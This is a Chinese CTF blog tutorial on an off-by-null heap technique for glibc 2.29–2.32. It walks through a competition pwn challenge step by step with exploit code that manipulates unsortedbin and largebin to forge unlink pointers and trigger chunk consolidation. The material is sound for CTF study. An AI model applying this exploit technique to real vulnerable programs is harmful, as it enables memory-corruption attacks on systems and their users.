2.29-2.32下的off-by-null

最近发现一种对于高版本libc更好的方法,不用爆破,先贴下连接:

https://www.anquanke.com/post/id/236078#h3-7

而且这个可以说是通杀除了2.33版本的所有Libc,因为没用用到tcache和fastbin,这位大佬WJH师傅真是神仙。但是他的有些地方有点出入,刚开始调试的时候容易直接干蒙,所以这里总结一下。

▲总的来说是运用unsortedbin来踩地址,然后再借用unsortedbin和Largebin加上off-by-null来修复fd,bk,从而能够通过新增的检查。这里我拿

第三届山东新一代信息技术创新应用大赛 werewolf2,原题是2.27的,这里用2.31模拟一下。

这道题来举例,题目不同chunk的索引对应变化。

1.首先堆风水布局,让我们之后申请用来利用的chunk的后一个字节可控,就是得为0x00,方便off-by-null利用。

1
2
3
#注释头

add(0x1000-0x8-0xf0,'padd')#0

这个堆布局看具体的环境,有的题上来先申请一堆堆块,容易搞蒙,d调一下就知道了。

2.然后准备堆块,结合之前的堆布局,需要满足条件:

1
2
3
4
5
6
7
8
9
#注释头

add(0x418,'\x01'*0x410) #1 fd 0x---2b0
add(0x108,'\x02*0x100') #2
add(0x418,'\x03'*0x410) #3
add(0x438,'\x04'*0x430) #4 unlink_chunk 0x---c00
add(0x108,'\x05'*0x100) #5
add(0x428,'\x06'*0x420) #6 bk 0x---150
add(0x208,'\x07'*0x200) #7

img

其中0x108大小的堆块主要是辅助加隔离,然后0x428之类的几个不同大小是为切割unsortedbin来搞事。然后这里我申请了0x208大小的堆块,这个堆块的作用主要就是隔离和填充,然后原贴的大佬由于size位用到了\x0a,是个换行符,Pwn中一般比骄敏感,容易无法发送,所以这里我多申请0x100,让之后的size位变成\x0b,方便利用。

3.然后就开始搞事,首先释放这几个chunk。

1
2
3
4
5
6
#注释头

free(1)
free(4)
free(6)
free(3)

满足如下:

img

释放顺序需要注意,要利用unsortedbin在0x—c00这个chunk上留下0x—2b0和0x—150的地址作为fd和bk,之后再修复fd->bk和bk->fd:

img

其中两个chunk合并了组成了0x—7e0这个chunk,方便切割之后修改0x—c00的size位。

4.之后申请chunk,从0x—7e0中申请切割,修改0x—c00的size位,同时会触发malloc_consolidate将0x—150和0x–2b0放入largebin中,这个没啥用,直接申请回来就可以了,主要是切割。

1
2
3
4
5
6
#注释头

add(0x438, '\x08'*0x418 + p64(0xb91)) #8 set size
add(0x418,'\x09'*0x410) # 9 0x---c20
add(0x428,'\x10'*0x420) # 10 bk 0x---150
add(0x418,'\x11'*0x410) # 11 fd 0x---2b0

img

5.之后就开始修复fd和bk,利用0x—c20和对应的fd,bk,进入unsortedbin来修复。

(1)修复fd:

先释放0x—2b0,然后释放0x—c20,利用unsortedbin来给0x—2b0的bk踩上0x—c20的地址,然后申请回来,方便之后修复bk(0x—150),同时将踩下的地址从0x—c20修改为0x—c00,即可修复成功。

1
2
3
4
5
6
#注释头

free(11) #0x---2b0
free(9) #0x---c20
add(0x418, 'PIG007nb') # 12 0x---c20 to overflow \x00 in fd
add(0x418,'\x13'*0x410) # 13 0x---c20

img

img

(2)修复bk:首先进入Unsortedbin中踩地址

1
2
3
4
#注释头

free(13)
free(10)

img

没啥问题 ,但是申请回来的时候有点大问题:

①如果先申请0x—c20,那么就会使得unsortedbin中顺序变为:

0x—150 -> main_arena+96,导致原先的0x—150.fd被修改,无法完成修复。

②如果先申请0x—150,那么由于unsortedbin机制,依据fd遍历,就会先遍历到0x—c20,导致0x—c20解链放入largebin中,unsortedbin中的情况和先申请0x—c20是一样的,先变成0x—150 -> main_arena+96,然后才会返回0x—150,fd都会被改。

▲所以先将这两个chunk放入largebin中,依据largebin的机制,由于这两个chunk的大小不同,直接申请对应大小就能得到对应的chunk,同时由于largebin排列依据从大到小,申请时也是先遍历大小再遍历fd,如果所需大小的链中只有该chunk,直接返回。所以就可以申请一个大chunk,将这两个chunk都放入largebin中,顺序为:

1
2
3
#注释头

add(0x9F8,'\x14') # 14 chunk into largebin

同时这个大chunk也是之后需要触发的off-by-null的chunk

img

之后再申请0x—150大小的chunk就能直接得到了,现在就修复完fd和bk了。

1
2
3
#注释头

add(0x428, '') # 15 partial overwrite fd

img

6.最后用off-by-null来设置触发chunk的size位

1
2
3
4
#注释头

edit(7,'\x77'*0x200+p64(0xb90))
free(14)

img

满足所有条件,释放

img

可以看到top_chunk已经向上合并到0x—c00了,之后就具体的具体分析就完事了。

▲最后贴个简单的exp,只是布局的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#注释头

add(0x1000-0x8-0xf0,'padd')#0

add(0x418,'\x01'*0x410) #1 fd 0x---2b0
add(0x108,'\x02*0x100') #2
add(0x418,'\x03'*0x410) #3
add(0x438,'\x04'*0x430) #4 unlink_chunk 0x---c00
add(0x108,'\x05'*0x100) #5
add(0x428,'\x06'*0x420) #6 bk 0x---150
add(0x208,'\x07'*0x200) #7

#left fd bk in 0x---c00
free(1)
free(4)
free(6)

#merge and carve to get 0x---c20 and change size which in 0x---c00
free(3)
add(0x438, '\x08'*0x418 + p64(0xb91)) #8 set size

#reply
add(0x418,'\x09'*0x410) # 9 0x---c20
add(0x428,'\x10'*0x420) # 10 bk 0x---150
add(0x418,'\x11'*0x410) # 11 fd 0x---2b0

#repair fd
free(11) #0x---2b0
free(9) #0x---c20
add(0x418, 'PIG007nb') # 12 0x---2b0 to overflow \x00 in fd
add(0x418,'\x13'*0x410) # 13 0x---c20


#repair bk
free(13)
free(10)
add(0x9F8,'\x14'*0x9f0) # let 0x---150 0x---c20 into largebin
add(0x428, '') # 15 0x---150 to overflow \x00 in fd

#trigger off-by-null
#add(0x418,'\x16'*0x410) # 16 c20
edit(7,'\x77'*0x200+p64(0xb90))
free(14)